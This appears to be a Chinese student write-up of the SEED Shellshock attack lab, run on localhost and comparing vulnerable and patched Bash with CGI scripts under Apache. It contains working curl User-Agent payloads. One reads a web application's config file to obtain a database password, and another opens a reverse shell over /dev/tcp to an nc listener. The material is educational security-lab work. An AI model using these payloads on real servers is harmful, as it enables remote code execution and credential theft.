Shellshock Attack

  • 利用Shellshock攻击Set-UID程序
    • Web服务器调用CGI程序
    • Task 1: Experimenting with Bash Function
    • Task 2: Setting up CGI programs
    • Task 3: Passing Data to Bash via Environment Variable
    • Task 4: Launching the Shellshock Attack
    • Task 5: Getting a Reverse Shell via Shellshock Attack
    • Task 6: Using the Patched Bash

利用Shellshock攻击Set-UID程序

Web服务器调用CGI程序

  为了理解Shellshock是如何攻击CGI程序的,首先需要理解CGI程序是如何被调用的。下面使用Apache Web服务器(简称“ Apache服务器” )来描述该过程。当用户向Apache服务器发送CGI请求时(如http://10.0.2.69/cgi-bin/test.cgi), Apache服务器会检查该请求。如果是一个CGI请求,Apache服务器会用fork () 函数来新建一个进程,然后使用exec()函数族中的某个函数在新进程中执行CGI程序。因为CGI程序以“ #!/bin/bash"开头,因此该程序是一个shell脚本,exec()函数实际上执行的是/bin/bash, Bash会运行shell脚本。

  触发Bash只是Shellshock攻击成功的条件之一。另一个重要的条件是攻击者必须通过环境变量为Bash程序提供输入。当Apache服务器创建了一个子进程执行Bash(使用exec()函数)时,它为Bash进程提供了环境变量。下面看一下哪些环境变量可以被远程用户控制。将下面的内容放在test.cgi程序中。最后一行的指令“ strings /proc/$$ /environ"能打印出一个进程的所有环境变量,Bash会将$$替换成当前进程的ID。

#!/bin/bash_shellshock
echo "Content-type : text/plain "
echo
echo " ** Environment Variables*** "
strings /proc/$$/environ

Task 1: Experimenting with Bash Function

Task1主要是设计一个实验来验证Bash是否容易受到Shellshock攻击。命令如下:

foo="() { echo "hello"; }; echo "extra";"
export foo


Case1:有漏洞的shell版本
输入bash_shellshock、declare -f foo和exit,结果如下:

Case2:无漏洞的shell版本
运行结果如下,bash后面没有输出,没有输出extra,也没有函数foo的定义:

结论:可以利用上面的命令来判断shell是都存在shellshock漏洞。

Task 2: Setting up CGI programs

  在这个实验中,我们将对一个远程web服务器发起Shellshock攻击。如果shell程序是易受攻击的Bash程序,我们可以利用Shellshock易受攻击来获得服务器上的特权。
设置一个非常简单的CGI程序(称为myprog.cgi),它的作用是使用shell脚本打印出“Hello World”,代码如下:

#!/bin/bash_shellshock
echo "Content-type: text/plain"
echo
echo
echo "Hello Wrold“

  需要将该CGI程序放在目标服务器的/usr/Ii b / cgi-bin目录中,并将它的权限设置为775(可执行)。这些操作需要使用root权限(使用sudo)来完成,因为只有root用户可以修改该目录中的文件。该目录是Apache服务器的默认CGI目录。

Case1:有漏洞的shell版本:

输出了Hello World。
Case2:无漏洞的shell版本:
只需要将cgi脚本的第一行改为#!/bin/bash,结果如下:

同样的也输出了HelloWorld。
结果分析:两次输出结果相同,这也正常,因为没有涉及到攻击,而是用到了shell提供的功能。

Task 3: Passing Data to Bash via Environment Variable

  此实验中,我们要利用基于Bash的CGI程序中的Shellshock漏洞,攻击者需要将他们的数据传递给有漏洞的Bash程序,并且需要通过环境变量传递数据。使用下面的CGI程序来演示可以向CGI程序发送任意字符串,该字符串将显示在一个环境变量的内容中。CGI脚本如下:

#!/bin/bash_shellshock
echo "Content-type: text/plain"
echo
echo "** Environment variables **"
strings /proc/$$/environ


Case1:有漏洞的shell版本:

可以看到,cgi脚本输出了环境变量。
Case2:无漏洞的shell脚本
将cgi脚本的第一行改为#!/bin/bash,结果如下:

可以看到,也成功输出了环境变量。
结果分析:与Task2结果相似,两次输出结果相同,因为没有涉及到攻击,而是用到了shell提供的功能。

Task 4: Launching the Shellshock Attack

  在上面的CGI程序设置好之后,我们现在可以启动Shellshock攻击了。我们可以通过URL http://localhost/cgi-bin/ myprog发起攻击,可以实现作为远程用户无法完成的事情。在本实验中,主要是使用shellshock攻击从服务器窃取一个秘密文件内容,命令如下:

curl -A "() { echo hello; }; echo Content-type: text/plain; echo; /bin/cat /var/www/CSRF/Elgg/elgg-config/settings.php" http://127.0.0.1/cgi-bin/myprog.cgi。

Case1 有漏洞的shell版本:


myprog.cgi脚本成功窃取了 /var/www/CSRF/Elgg/elgg-config/settings.php 的内容,且获取了数据库密码。
Case 2:无漏洞的版本:
将cgi脚本的第一行换成#!/bin/bash

可以看到,输出了环境变量,没有窃取到秘密文件。
结果分析:/bin/bash_shellshock攻击的原理是 -A 后面的字符串会作为 http头中 的 agent 发送给服务器,apache agent会构造相应的环境变量传给 shell,有漏洞的shell 看到环境变量以 A=() { 会识别成shell函数,将=替换成空格,也就是A () {,而后调用函数解析函数体,而这个函数在遇到 () { echo hello ; }; 最后的分号时,会将分号后面的指令执行,从而被攻击。/bin/bash修复了漏洞,故攻击失败。

Task 5: Getting a Reverse Shell via Shellshock Attack

  Shellshock漏洞允许攻击者在目标机器上运行任意命令。在实际的攻击中,攻击者通常选择运行shell命令,而不是在攻击中硬编码命令,这样,只要shell程序还活着,他们就可以使用这个shell运行其他命令。为了实现这个目标,攻击者需要运行一个反向shell。
  在这个实验中,主要演示如何通过CGI程序中的Shellshock漏洞启动反向shell。为了方便,这里我都在一台机器上进行演示。并且使用命令时要注意修改命令中的 IP 地址。
Case 1:有漏洞的shell版本
用命令nc -lv 8000搭建一个服务器,监听8000端口,模拟攻击端。

curl -A "() { echo hello; }; /bin/bash -i > /dev/tcp/127.0.0.1/8000 0<&1 2>&1" http://127.0.0.1/cgi-bin/myprog.cgi


可以看到,下面这个shell窗口可以看到反向shell已经创建成功了,用户id为www-data.
Case 2: 无漏洞的shell版本:
将cgi脚本的第一行改为#!/bin/bash,结果如下:

  可以发现启动反向shell失败,攻击端输出了环境变量。
  结果分析:对于有漏洞的shell,会执行“;“后面的命令,开启shell并将输入输出重定向到一个外部的tcp连接,连接成功后,我们就可以再外部使用这个连接区操作shell了。而对于没有漏洞的shell,分号后面的命令不会执行,所有反向shell会创建失败。

Task 6: Using the Patched Bash

  此实验中,我们使用一个已经打过补丁的Bash程序。程序/bin/bash是修补过的版本。重做Task 3和Task 5。
  此Task已经在上述Task3 和 Task 5中实现了,此处不再做赘述。

LAB 2 Shellshock Attack相关推荐

  1. Shellshock Attack Lab

    Shellshock Attack Lab 使用Ubuntu 16.04 20.04可以使用docker或者安装apache做后面的task Task1 Bash的版本:在本书提供的SEED Ubun ...

  2. 软件安全课程实验2 Shellshock Attack lab

    Shellshock_Attack_lab 个人博客地址 task 1 //vul.c #include <unistd.h> #include <stdio.h> #incl ...

  3. Shellshock Attack SEED-LAB

    实验官方文档链接SEED Project 环境搭建 DNS设置 在我们的设置中,web服务器容器的IP地址为10.9.0.80.服务器的主机名为www.seedlab-shellshock.com.我 ...

  4. Seed lab:Remote DNS Attack

    实验环境: 服务器ip:192.168.86.139 Victim ip: 192.168.86.137 Attacker ip:192.168.86.138 准备工作: 安装bind9服务器: 在b ...

  5. Shellshock Lab

    注:全文如下,同时欢迎参观我的个人博客:Shellshock Lab Shellshock 1 Overview-概述 2014 年 9 月 24 日,发现了 bash 中的一个严重漏洞. 该漏洞绰号 ...

  6. 漏洞分析——shellshock实验

    Shellshock Attack Lab 前导知识 SHELL:命令行界面的解释器 Linux下常见Shell: Bourne Again Shell(/bin/bash) C Shell(/usr ...

  7. 什么是ShellShock攻击?

    黑客笔记 本期live互动.答疑相关问题归档(有视频): Shellshock Attack 概述 认识环境变量&&bash 1.普通shell变量和bash [04/12/2018 ...

  8. shellshock-Attack-Lab

    shellshock Attack Lab 详见我的个人博客:shellshock Attack Lab 实验概述 实验背景 2014 年 9 月 24 日,发现了 Bash 中的一个严重漏洞 She ...

  9. mysql in sql注入_在 SQL 注入攻击中检查数据库

    原文来自:PORTSWIGGER WEB SECURITY >> Web Security Academy >>Examining the database >>E ...

最新文章

  1. Head first servlet and jsp学习笔记
  2. Python花式编程案例锦集(3)
  3. jdk自带压测工具_jstack性能分析工具
  4. 这本 Python 入门畅销书《“笨办法”学 Python 3》,不仅仅是一本书!
  5. mysql 常用存储引擎InnoDBMyISAM表格对比
  6. c++ 形参用指针 还是对象_Java 和 C/C++两大高手的对比
  7. postgis java_Postgresql结合postgis使用java的JDBC连接
  8. springmvc时间(date)无法转入后台(@DateTimeFormat+@JsonFormat(GMT+8))
  9. 广州海珠php培训_海珠|海珠区第二实验小学教育集团成立两周年 初步实现集团内教师资源的“柔性流动”...
  10. 高二计算机考试题库和答案,2017计算机基础考试题库及答案
  11. mac下使用ipv6观看电视
  12. 【C语言入门】--- 数组详解
  13. 资深运维给你讲:一个小白的运维成长故事
  14. mui实现底部导航栏页面切换
  15. sketch怎么转换成html,手稿秒变html的Sketch 2 Code
  16. 怎样用计算机计算数的开方,用计算器进行数的开方[页2].docx
  17. 应届生昆山offer和上海户口offer要如何选择?
  18. canvas 的save()和restore()方法
  19. 怎样快速在线把pdf转换成word
  20. 数据结构C语言描述2(专插本/专升本)

热门文章

  1. Error: Cannot find module ‘dotenv‘解决方法
  2. 【docker安装笔记】
  3. 红石32位cpu通用计算机,32位无命令方块红石电脑简介及设计原理
  4. 隐私计算:半同态加密算法实践
  5. 微信多客服如何设置快捷回复(高级玩法总结)
  6. 计算机恢复点不开怎么办,W7系统还原打不开怎么处理
  7. 关于找工作的整个流程(简历编写,投简历,面试,笔试)经验
  8. 简单直白教你理解Java中四大引用强引用,软引用,弱引用,虚引用
  9. 解读大厂招聘JD:C站能力认证带你进大厂
  10. vnc远程桌面,超好用的5款vnc远程桌面软件